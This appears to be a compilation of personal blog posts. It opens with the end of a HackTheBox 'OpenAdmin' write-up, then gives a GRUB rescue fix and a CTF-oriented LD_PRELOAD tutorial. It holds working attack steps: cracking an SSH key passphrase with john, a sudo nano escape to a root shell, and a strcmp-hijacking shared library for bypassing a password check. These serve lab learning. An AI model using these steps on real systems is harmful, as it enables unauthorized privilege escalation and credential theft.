2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

Cracking with john

kali@kali $ sudo john joanna.hash -wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for kali:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-04-25 23:15) 0.3174g/s 4552Kp/s 4552Kc/s 4552KC/sa6_123..*7¡Vamos!
Session completed

Now, we can login as joanna to openadmin.htb

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$

so based on this, we can see joanna can run /bin/nano with sudo without password.

joanna@openadmin:~$ sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
2f9**************************561

Reference: https://gtfobins.github.io/gtfobins/nano/

Lesson

• try out with different wordlists for dirbusting.
• check if anyone reused credentials from say webapps
• check sudo -l before even trying for normal priv esc
• gtfobins is a good resource

The main issue is because grub does not know where the bootloader is installed. This could happen after you just did a kernel upgrade, or did a update-grub manually. Therefore, we just have to let grub know where the bootloader is on.

ls

Find out how many hard disks and partitions are there. it should show something like the following

(hd0) (hd0,gpt2) (hd0,gpt1) (hd1) ... (hd1,gpt1)

Keep ls-ing into the hard disks until you see /boot

> ls (hd0,gpt7)
(hd1,gpt7): Filesystem is ext2
# we found the filesystem for root

> ls (hd0,gpt7)/boot
./ ../ grub/ memtest86+/ initramfs-4.14-x86_64.img ...

Solution

Once you found the root drive, do the following.

> set prefix=(hd1,gpt7)/boot/grub
> set root=(hd1,gpt7)
> insmod normal
> normal

source: grub2 - How to fix “error: unknown filesystem. grub rescue> - Ask Ubuntu

After pressing enter, you should be immediately taken to the bootloader.

Possible causes

This can happen when windows have a major update or something messed up the bootloader. But the above solution will only bootup your OS. You still need to fix it.

To talk about LD_PRELOAD, one needs to be familiar with static and dynamic linking of compiler

Static linking

This method of the compilation will produce a fully standalone executable or a library file containing all the function definitions into just one file.

Dynamic linking

This method of compilation, however, will not be fully standalone, instead, it will rely on the existence of the statically linked libraries on the system. Normally they will search for directory paths such as /lib64 or /lib. When you have spent a sufficiently long time on a Linux system, you should have seen error messages while installing packages or running programs that look something like the following, complaining about the shared objects not being found.

Error: openssl.so.1 not found
Error: libcrypto.so.1 not found

This kind of error is common on Linux, and it can usually be solved by installing the necessary libraries.

GCC will be using dynamic linking by default. It means the program and the library will be loaded to memory during execution time and linked. If you want to compile it as static executable, you have to add -static to the compiler options when compiling.

Let’s explore some dynamically linked binaries.

ldd command can be used to show the libraries that the binary is linked. In this case, it shows the dependencies of ls binary.

You can see the shared objects of the library ls requires, for instance, wlibc.so.6, and the path of the .so file on the system. There is one interesting thing about the picture, why does ls needs libpthread? I can’t think of any reason why ls would need multi threading.

In CTFs, you might see the following types of c program source code. This is simplified to show the LD_PRELOAD misuse. Let’s go ahead and compile the code.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char passwd[] = "p455w0rd";
    if (argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        return 0;
    }
    if (strcmp(passwd, argv[1]) == 0) {
        printf("You pwned the process, congratz\n");
        printf("Flag is {LD_PRELOAD_rulz}\n");
        return 1;
    }
    printf("Wrong password!\n");
    printf("Access Denied\n");
    return 0;
}

Notice that many c programs need libc, as it contains the functions like printf. This is a very simple program, that if you execute with a correct password, it will print the flag, else it will print wrong password.

The function we need to mess around is the strcmp() function. If this function returns 0, then it will successfully print the flag. So, let’s bypass this by misusing LD_PRELOAD.

First of all, save the following code as hijack.c. It is a very simple function with the same function name and parameters as the standard strcmp() function, but it will do nothing but return 0. This will be overwriting the strcmp() later on.

int strcmp(const char *s1, const char *s2) {
    return 0;
}

Compile the code as shared object

gcc -fPIC -c hijack.c -o hijack.o
gcc -shared -o hijack.so hijack.o

Now it is the exciting part, the exploitation.

What this does is that it will define the LD_PRELOAD variable, and execute the program with xxx as input. In normal cases, this will not print the flag, because the input is not the correct password.

But due to the LD_PRELOAD, when the program asks for strcmp() function, it loads that function from hijack.so file, which of course returns 0. Thus PWNED.

This trick is useful in doing CTF challenges and it can lead to local privilege escalation. It is also useful in trying to do dynamic analysis of malware, etc, because you can easily write a function wrapper to tap into the function calls of the programs.

Reference urls

Reverse Engineering with LD_PRELOAD

c - Exploiting SUID files with LD_PRELOAD and IFS - Stack Overflow

The magic of LD_PRELOAD for Userland Rootkits

Sudo LD_PRELOAD Linux Privilege Escalation

How I got root with Sudo